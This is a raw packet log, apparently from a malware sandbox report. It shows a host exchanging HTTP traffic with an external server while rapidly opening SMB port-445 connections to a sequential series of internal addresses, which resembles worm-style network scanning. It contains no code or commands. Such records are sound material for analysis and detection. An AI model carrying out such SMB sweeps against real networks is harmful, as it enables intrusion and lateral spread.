Jul 6, 2024 14:10:24.395154953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.395164967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.395176888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.395198107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.395220995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.395275116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.395309925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.395319939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.395330906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.395354033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.395411968 CEST	49993	445	192.168.2.4	192.168.0.191
Jul 6, 2024 14:10:24.395688057 CEST	49994	445	192.168.2.4	192.168.0.192
Jul 6, 2024 14:10:24.396260023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396271944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396281958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396308899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396322966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396348953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396359921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396370888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396385908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396404982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396439075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396454096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396466017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396485090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396502972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396518946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396529913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396567106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396589994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396600962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396626949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396626949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396648884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396653891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396662951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396665096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396693945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396790981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396832943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396869898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396879911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396907091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396913052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396915913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396925926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.396948099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.396960974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.397188902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397198915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397236109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.397336960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397351980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397362947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397378922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.397397041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.397455931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397494078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.397531033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397572994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.397727966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397737980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397747993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397772074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.397795916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.397912979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397931099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397942066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.397958994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.397974968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.398184061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.398226023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.398226976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.398236990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.398262024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.398281097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.400522947 CEST	445	49994	192.168.0.192	192.168.2.4
Jul 6, 2024 14:10:24.400588989 CEST	49994	445	192.168.2.4	192.168.0.192
Jul 6, 2024 14:10:24.400610924 CEST	445	49993	192.168.0.191	192.168.2.4
Jul 6, 2024 14:10:24.400656939 CEST	49993	445	192.168.2.4	192.168.0.191
Jul 6, 2024 14:10:24.400681019 CEST	49994	445	192.168.2.4	192.168.0.192
Jul 6, 2024 14:10:24.406044960 CEST	445	49994	192.168.0.192	192.168.2.4
Jul 6, 2024 14:10:24.406095982 CEST	49994	445	192.168.2.4	192.168.0.192
Jul 6, 2024 14:10:24.411123991 CEST	49995	445	192.168.2.4	192.168.0.65
Jul 6, 2024 14:10:24.411305904 CEST	49996	445	192.168.2.4	192.168.0.66
Jul 6, 2024 14:10:24.411468983 CEST	49997	445	192.168.2.4	192.168.0.193
Jul 6, 2024 14:10:24.416527033 CEST	445	49995	192.168.0.65	192.168.2.4
Jul 6, 2024 14:10:24.416546106 CEST	445	49996	192.168.0.66	192.168.2.4
Jul 6, 2024 14:10:24.416557074 CEST	445	49997	192.168.0.193	192.168.2.4
Jul 6, 2024 14:10:24.416599989 CEST	49995	445	192.168.2.4	192.168.0.65
Jul 6, 2024 14:10:24.416631937 CEST	49996	445	192.168.2.4	192.168.0.66
Jul 6, 2024 14:10:24.416662931 CEST	49995	445	192.168.2.4	192.168.0.65
Jul 6, 2024 14:10:24.416662931 CEST	49997	445	192.168.2.4	192.168.0.193
Jul 6, 2024 14:10:24.416752100 CEST	49997	445	192.168.2.4	192.168.0.193
Jul 6, 2024 14:10:24.416753054 CEST	49996	445	192.168.2.4	192.168.0.66
Jul 6, 2024 14:10:24.421731949 CEST	445	49995	192.168.0.65	192.168.2.4
Jul 6, 2024 14:10:24.421869993 CEST	445	49996	192.168.0.66	192.168.2.4
Jul 6, 2024 14:10:24.422467947 CEST	445	49997	192.168.0.193	192.168.2.4
Jul 6, 2024 14:10:24.422944069 CEST	445	49997	192.168.0.193	192.168.2.4
Jul 6, 2024 14:10:24.422993898 CEST	49997	445	192.168.2.4	192.168.0.193
Jul 6, 2024 14:10:24.426862001 CEST	49998	445	192.168.2.4	192.168.0.194
Jul 6, 2024 14:10:24.431699991 CEST	445	49998	192.168.0.194	192.168.2.4
Jul 6, 2024 14:10:24.431761980 CEST	49998	445	192.168.2.4	192.168.0.194
Jul 6, 2024 14:10:24.431843042 CEST	49998	445	192.168.2.4	192.168.0.194
Jul 6, 2024 14:10:24.437140942 CEST	445	49998	192.168.0.194	192.168.2.4
Jul 6, 2024 14:10:24.437195063 CEST	49998	445	192.168.2.4	192.168.0.194
Jul 6, 2024 14:10:24.442472935 CEST	49999	445	192.168.2.4	192.168.0.195
Jul 6, 2024 14:10:24.447357893 CEST	445	49999	192.168.0.195	192.168.2.4
Jul 6, 2024 14:10:24.447427988 CEST	49999	445	192.168.2.4	192.168.0.195
Jul 6, 2024 14:10:24.457938910 CEST	49999	445	192.168.2.4	192.168.0.195
Jul 6, 2024 14:10:24.458004951 CEST	50000	445	192.168.2.4	192.168.0.67
Jul 6, 2024 14:10:24.458183050 CEST	50001	445	192.168.2.4	192.168.0.196
Jul 6, 2024 14:10:24.462822914 CEST	445	49999	192.168.0.195	192.168.2.4
Jul 6, 2024 14:10:24.462832928 CEST	445	50000	192.168.0.67	192.168.2.4
Jul 6, 2024 14:10:24.462877035 CEST	49999	445	192.168.2.4	192.168.0.195
Jul 6, 2024 14:10:24.462901115 CEST	50000	445	192.168.2.4	192.168.0.67
Jul 6, 2024 14:10:24.462965965 CEST	445	50001	192.168.0.196	192.168.2.4
Jul 6, 2024 14:10:24.462968111 CEST	50000	445	192.168.2.4	192.168.0.67
Jul 6, 2024 14:10:24.463015079 CEST	50001	445	192.168.2.4	192.168.0.196
Jul 6, 2024 14:10:24.463082075 CEST	50001	445	192.168.2.4	192.168.0.196
Jul 6, 2024 14:10:24.467895985 CEST	445	50000	192.168.0.67	192.168.2.4
Jul 6, 2024 14:10:24.468519926 CEST	445	50001	192.168.0.196	192.168.2.4
Jul 6, 2024 14:10:24.468564987 CEST	50001	445	192.168.2.4	192.168.0.196
Jul 6, 2024 14:10:24.473614931 CEST	50002	445	192.168.2.4	192.168.0.69
Jul 6, 2024 14:10:24.473728895 CEST	50003	445	192.168.2.4	192.168.0.68
Jul 6, 2024 14:10:24.473965883 CEST	50004	445	192.168.2.4	192.168.0.197
Jul 6, 2024 14:10:24.478498936 CEST	445	50002	192.168.0.69	192.168.2.4
Jul 6, 2024 14:10:24.478581905 CEST	445	50003	192.168.0.68	192.168.2.4
Jul 6, 2024 14:10:24.478585005 CEST	50002	445	192.168.2.4	192.168.0.69
Jul 6, 2024 14:10:24.478627920 CEST	50003	445	192.168.2.4	192.168.0.68
Jul 6, 2024 14:10:24.478655100 CEST	50002	445	192.168.2.4	192.168.0.69
Jul 6, 2024 14:10:24.478693962 CEST	445	50004	192.168.0.197	192.168.2.4
Jul 6, 2024 14:10:24.478724003 CEST	50003	445	192.168.2.4	192.168.0.68
Jul 6, 2024 14:10:24.478800058 CEST	50004	445	192.168.2.4	192.168.0.197
Jul 6, 2024 14:10:24.478859901 CEST	50004	445	192.168.2.4	192.168.0.197
Jul 6, 2024 14:10:24.483500957 CEST	445	50002	192.168.0.69	192.168.2.4
Jul 6, 2024 14:10:24.483510971 CEST	445	50003	192.168.0.68	192.168.2.4
Jul 6, 2024 14:10:24.484358072 CEST	445	50004	192.168.0.197	192.168.2.4
Jul 6, 2024 14:10:24.484405041 CEST	50004	445	192.168.2.4	192.168.0.197
Jul 6, 2024 14:10:24.489276886 CEST	50005	445	192.168.2.4	192.168.0.70
Jul 6, 2024 14:10:24.489540100 CEST	50006	445	192.168.2.4	192.168.0.198
Jul 6, 2024 14:10:24.494205952 CEST	445	50005	192.168.0.70	192.168.2.4
Jul 6, 2024 14:10:24.494277000 CEST	50005	445	192.168.2.4	192.168.0.70
Jul 6, 2024 14:10:24.494383097 CEST	445	50006	192.168.0.198	192.168.2.4
Jul 6, 2024 14:10:24.494432926 CEST	50006	445	192.168.2.4	192.168.0.198
Jul 6, 2024 14:10:24.497994900 CEST	50005	445	192.168.2.4	192.168.0.70
Jul 6, 2024 14:10:24.498100042 CEST	50006	445	192.168.2.4	192.168.0.198
Jul 6, 2024 14:10:24.502932072 CEST	445	50005	192.168.0.70	192.168.2.4
Jul 6, 2024 14:10:24.503000975 CEST	445	50006	192.168.0.198	192.168.2.4
Jul 6, 2024 14:10:24.503101110 CEST	50006	445	192.168.2.4	192.168.0.198
Jul 6, 2024 14:10:24.505251884 CEST	50007	445	192.168.2.4	192.168.0.71
Jul 6, 2024 14:10:24.505386114 CEST	50008	445	192.168.2.4	192.168.0.72
Jul 6, 2024 14:10:24.505589962 CEST	50009	445	192.168.2.4	192.168.0.199
Jul 6, 2024 14:10:24.510152102 CEST	445	50007	192.168.0.71	192.168.2.4
Jul 6, 2024 14:10:24.510163069 CEST	445	50008	192.168.0.72	192.168.2.4
Jul 6, 2024 14:10:24.510215998 CEST	50007	445	192.168.2.4	192.168.0.71
Jul 6, 2024 14:10:24.510236979 CEST	50008	445	192.168.2.4	192.168.0.72
Jul 6, 2024 14:10:24.510298967 CEST	50007	445	192.168.2.4	192.168.0.71
Jul 6, 2024 14:10:24.510344028 CEST	50008	445	192.168.2.4	192.168.0.72
Jul 6, 2024 14:10:24.510390997 CEST	445	50009	192.168.0.199	192.168.2.4
Jul 6, 2024 14:10:24.510445118 CEST	50009	445	192.168.2.4	192.168.0.199
Jul 6, 2024 14:10:24.510503054 CEST	50009	445	192.168.2.4	192.168.0.199
Jul 6, 2024 14:10:24.518620014 CEST	445	50007	192.168.0.71	192.168.2.4
Jul 6, 2024 14:10:24.518630981 CEST	445	50008	192.168.0.72	192.168.2.4
Jul 6, 2024 14:10:24.520545959 CEST	50010	445	192.168.2.4	192.168.0.73
Jul 6, 2024 14:10:24.520862103 CEST	50011	445	192.168.2.4	192.168.0.200
Jul 6, 2024 14:10:24.521549940 CEST	445	50009	192.168.0.199	192.168.2.4
Jul 6, 2024 14:10:24.521598101 CEST	50009	445	192.168.2.4	192.168.0.199
Jul 6, 2024 14:10:24.525975943 CEST	445	50010	192.168.0.73	192.168.2.4
Jul 6, 2024 14:10:24.525986910 CEST	445	50011	192.168.0.200	192.168.2.4
Jul 6, 2024 14:10:24.526047945 CEST	50010	445	192.168.2.4	192.168.0.73
Jul 6, 2024 14:10:24.526118040 CEST	50010	445	192.168.2.4	192.168.0.73
Jul 6, 2024 14:10:24.526118040 CEST	50011	445	192.168.2.4	192.168.0.200
Jul 6, 2024 14:10:24.526216030 CEST	50011	445	192.168.2.4	192.168.0.200
Jul 6, 2024 14:10:24.531040907 CEST	445	50010	192.168.0.73	192.168.2.4
Jul 6, 2024 14:10:24.531517029 CEST	445	50011	192.168.0.200	192.168.2.4
Jul 6, 2024 14:10:24.531562090 CEST	50011	445	192.168.2.4	192.168.0.200
Jul 6, 2024 14:10:24.536288977 CEST	50012	445	192.168.2.4	192.168.0.201
Jul 6, 2024 14:10:24.541062117 CEST	445	50012	192.168.0.201	192.168.2.4
Jul 6, 2024 14:10:24.541124105 CEST	50012	445	192.168.2.4	192.168.0.201
Jul 6, 2024 14:10:24.551597118 CEST	50012	445	192.168.2.4	192.168.0.201
Jul 6, 2024 14:10:24.551964045 CEST	50013	445	192.168.2.4	192.168.0.202
Jul 6, 2024 14:10:24.557384014 CEST	445	50012	192.168.0.201	192.168.2.4
Jul 6, 2024 14:10:24.557396889 CEST	445	50013	192.168.0.202	192.168.2.4
Jul 6, 2024 14:10:24.557446003 CEST	50012	445	192.168.2.4	192.168.0.201
Jul 6, 2024 14:10:24.557471037 CEST	50013	445	192.168.2.4	192.168.0.202
Jul 6, 2024 14:10:24.557564974 CEST	50013	445	192.168.2.4	192.168.0.202
Jul 6, 2024 14:10:24.564220905 CEST	445	50013	192.168.0.202	192.168.2.4
Jul 6, 2024 14:10:24.564269066 CEST	50013	445	192.168.2.4	192.168.0.202
Jul 6, 2024 14:10:24.567394018 CEST	50014	445	192.168.2.4	192.168.0.75
Jul 6, 2024 14:10:24.567394018 CEST	50015	445	192.168.2.4	192.168.0.74
Jul 6, 2024 14:10:24.567661047 CEST	50016	445	192.168.2.4	192.168.0.203
Jul 6, 2024 14:10:24.574583054 CEST	445	50014	192.168.0.75	192.168.2.4
Jul 6, 2024 14:10:24.574632883 CEST	445	50015	192.168.0.74	192.168.2.4
Jul 6, 2024 14:10:24.574651003 CEST	50014	445	192.168.2.4	192.168.0.75
Jul 6, 2024 14:10:24.574680090 CEST	50015	445	192.168.2.4	192.168.0.74
Jul 6, 2024 14:10:24.574716091 CEST	50014	445	192.168.2.4	192.168.0.75
Jul 6, 2024 14:10:24.574740887 CEST	50015	445	192.168.2.4	192.168.0.74
Jul 6, 2024 14:10:24.575005054 CEST	445	50016	192.168.0.203	192.168.2.4
Jul 6, 2024 14:10:24.575062037 CEST	50016	445	192.168.2.4	192.168.0.203
Jul 6, 2024 14:10:24.579601049 CEST	445	50014	192.168.0.75	192.168.2.4
Jul 6, 2024 14:10:24.579684019 CEST	445	50015	192.168.0.74	192.168.2.4
Jul 6, 2024 14:10:24.582843065 CEST	50016	445	192.168.2.4	192.168.0.203
Jul 6, 2024 14:10:24.583071947 CEST	50017	445	192.168.2.4	192.168.0.204
Jul 6, 2024 14:10:24.588334084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.588391066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.588417053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.588428020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.588455915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.588474035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.588474989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.588495970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.588507891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.588512897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.588526011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.588541031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.588723898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.588740110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.588751078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.588767052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.588789940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.588956118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.588965893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589004040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.589224100 CEST	445	50016	192.168.0.203	192.168.2.4
Jul 6, 2024 14:10:24.589270115 CEST	50016	445	192.168.2.4	192.168.0.203
Jul 6, 2024 14:10:24.589317083 CEST	445	50017	192.168.0.204	192.168.2.4
Jul 6, 2024 14:10:24.589370012 CEST	50017	445	192.168.2.4	192.168.0.204
Jul 6, 2024 14:10:24.589452982 CEST	50017	445	192.168.2.4	192.168.0.204
Jul 6, 2024 14:10:24.589540958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589584112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589587927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.589598894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589617968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.589632988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.589782953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589793921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589804888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589833021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.589837074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589849949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589859009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.589860916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589871883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589883089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.589883089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589900017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589909077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.589920998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.589934111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589943886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.589946985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.589967966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.589986086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590029955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590070963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590099096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590111971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590142012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590150118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590159893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590159893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590172052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590183020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590183973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590198040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590214968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590257883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590269089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590280056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590301037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590312958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590379953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590389013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590425014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590527058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590538025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590548038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590559959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590570927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590598106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590651989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590691090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590701103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590713024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590739965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590922117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590945959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590955973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.590965033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.590980053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.591000080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.591216087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.591250896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.591259003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.591260910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.591286898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.591299057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.591378927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.591415882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.591418982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.591427088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.591454029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.591681957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.591725111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.591726065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.591737032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.591758966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.591768980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.591927052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.591943026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.591953039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.591969967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.591986895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.592297077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.592308044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.592318058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.592344046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.592355013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.594407082 CEST	445	50017	192.168.0.204	192.168.2.4
Jul 6, 2024 14:10:24.594950914 CEST	445	50017	192.168.0.204	192.168.2.4
Jul 6, 2024 14:10:24.594996929 CEST	50017	445	192.168.2.4	192.168.0.204
Jul 6, 2024 14:10:24.598624945 CEST	50018	445	192.168.2.4	192.168.0.77
Jul 6, 2024 14:10:24.598819971 CEST	50019	445	192.168.2.4	192.168.0.76
Jul 6, 2024 14:10:24.598997116 CEST	50020	445	192.168.2.4	192.168.0.205
Jul 6, 2024 14:10:24.603523016 CEST	445	50018	192.168.0.77	192.168.2.4
Jul 6, 2024 14:10:24.603533983 CEST	445	50019	192.168.0.76	192.168.2.4
Jul 6, 2024 14:10:24.603594065 CEST	50018	445	192.168.2.4	192.168.0.77
Jul 6, 2024 14:10:24.603653908 CEST	50019	445	192.168.2.4	192.168.0.76
Jul 6, 2024 14:10:24.603653908 CEST	50019	445	192.168.2.4	192.168.0.76
Jul 6, 2024 14:10:24.603689909 CEST	50018	445	192.168.2.4	192.168.0.77
Jul 6, 2024 14:10:24.603849888 CEST	445	50020	192.168.0.205	192.168.2.4
